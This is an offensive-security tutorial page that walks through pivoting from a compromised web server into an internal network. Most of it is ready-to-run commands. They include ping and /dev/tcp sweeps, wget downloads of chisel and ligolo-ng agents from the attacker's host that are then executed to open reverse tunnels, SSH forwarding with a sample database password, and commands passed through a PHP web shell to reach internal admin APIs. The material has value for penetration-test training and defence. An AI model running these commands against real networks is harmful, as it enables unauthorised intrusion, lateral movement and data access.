Skip to content
HackIndex logo

HackIndex

Pivoting from Web Server to Internal Network

3 min read Apr 24, 2026

A compromised web server typically has access to internal network segments not reachable from the attacker's position. The web server often connects to internal databases, APIs, and management interfaces. Pivoting routes attacker traffic through the compromised host to reach those internal services. Establish a stable shell first through web shell management before setting up tunnels.

Internal Network Discovery

Map what the web server can reach before setting up tunneling infrastructure:

user@host ~ $ ip addr && ip route && cat /etc/hosts 
inet 10.10.10.50/24 brd 10.10.10.255
inet 172.16.0.10/24 brd 172.16.0.255
default via 10.10.10.1
user@host ~ $ for ip in $(seq 1 254); do ping -c1 -W1 172.16.0.$ip &>/dev/null && echo "172.16.0.$ip alive"; done 
172.16.0.1 alive
172.16.0.20 alive
172.16.0.50 alive
user@host ~ $ for port in 22 80 443 3306 5432 6379 8080 8443 3389; do (echo >/dev/tcp/172.16.0.20/$port) 2>/dev/null && echo "172.16.0.20:$port open"; done 
172.16.0.20:22 open
172.16.0.20:3306 open
172.16.0.20:8080 open

chisel SOCKS Proxy

chisel creates an encrypted tunnel with a SOCKS5 proxy. Upload the binary to the target and connect back to your Kali server. All traffic proxied through the tunnel reaches the internal network:

┌──(kali㉿kali)-[~]
└─$ chisel server -p $LPORT --reverse &
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080 & 
2026/03/28 12:00:00 server: Listening on http://0.0.0.0:4444
user@host ~ $ wget http://$LHOST:8080/chisel -O /tmp/chisel && chmod +x /tmp/chisel
user@host ~ $ /tmp/chisel client $LHOST:$LPORT R:socks & 
client: Connected (Latency 2.3ms)

Configure proxychains on Kali to route through the SOCKS5 proxy chisel creates on port 1080:

┌──(kali㉿kali)-[~]
└─$ echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf
┌──(kali㉿kali)-[~]
└─$ proxychains nmap -sT -Pn -p 22,80,443,3306,8080 172.16.0.20 
22/tcp   open  ssh
3306/tcp open  mysql
8080/tcp open  http-proxy
┌──(kali㉿kali)-[~]
└─$ proxychains curl -sk http://172.16.0.20:8080/

ligolo-ng for Better Performance

ligolo-ng performs better than chisel for sustained tunneling. It creates a tun interface on Kali so proxychains is not needed — traffic routes naturally:

┌──(kali㉿kali)-[~]
└─$ sudo ip tuntap add user kali mode tun ligolo && sudo ip link set ligolo up
┌──(kali㉿kali)-[~]
└─$ ligolo-ng -selfcert -laddr 0.0.0.0:$LPORT &
user@host ~ $ wget http://$LHOST:8080/agent -O /tmp/agent && chmod +x /tmp/agent
user@host ~ $ /tmp/agent -connect $LHOST:$LPORT -ignore-cert &
┌──(kali㉿kali)-[~]
└─$ sudo ip route add 172.16.0.0/24 dev ligolo
┌──(kali㉿kali)-[~]
└─$ curl -sk http://172.16.0.20:8080/

SSH Port Forwarding

When SSH credentials are available on the compromised host, SSH port forwarding is the most stable and reliable tunneling option:

┌──(kali㉿kali)-[~]
└─$ ssh -D 1080 -N -f $USER@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ ssh -L 3306:172.16.0.20:3306 -N -f $USER@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ mysql -u webapp_user -pSuperSecret123! -h 127.0.0.1 -P 3306

-D 1080 creates a SOCKS5 dynamic proxy. -L local:remote forwards a specific port. Use local forwarding when you need to reach a single internal service directly — it is simpler and more stable than a SOCKS proxy for targeted access.

Web Shell as HTTP Proxy

When no binary upload is possible, a PHP web shell can proxy HTTP requests to internal services using curl or file_get_contents. Useful for quick one-off requests to internal APIs:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=curl -sk http://172.16.0.20:8080/api/v1/admin" 
{"admin":true,"users":[]}

References